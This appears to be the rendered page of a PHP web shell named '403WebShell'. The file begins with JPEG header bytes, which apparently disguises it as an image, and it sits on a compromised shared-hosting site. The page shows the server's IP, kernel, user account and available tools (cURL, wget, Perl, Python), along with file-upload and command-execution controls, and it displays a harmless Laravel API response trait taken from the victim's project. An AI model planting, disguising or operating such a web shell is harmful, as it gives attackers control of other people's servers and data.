����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.137.155.109
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/app/Traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/app/Traits/ApiStatusTrait.php
<?php

namespace App\Traits;


trait ApiStatusTrait
{
    public $successStatus = 200;
    public $failureStatus = 500;
    public $validationFailureStatus = 422;


    public function success($data = [], $msg = NULL)
    {
        $response['success'] = true;
        $response['message'] = $msg ?? __("Successfully done");
        $response['data'] = $data;
        return response()->json($response, $this->successStatus);
    }

    public function failed($data = [], $msg = NULL)
    {
        $response['success'] = false;
        $response['message'] = $msg ?? __("Something went wrong");
        $response['data'] = $data;
        return response()->json($response, $this->failureStatus);
    }

    public function error($data = [], $msg = NULL, $code = NULL)
    {
        $response['success'] = false;
        $response['message'] = $msg ?? __("Something went wrong");
        $response['data'] = $data;
        return response()->json($response, $code ?? $this->failureStatus);
    }

    public function validationError($data = [], $msg = NULL)
    {
        $response['success'] = false;
        $response['message'] = $msg ?? __("Validation error");
        $response['data'] = $data;
        return response()->json($response, $this->validationFailureStatus);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit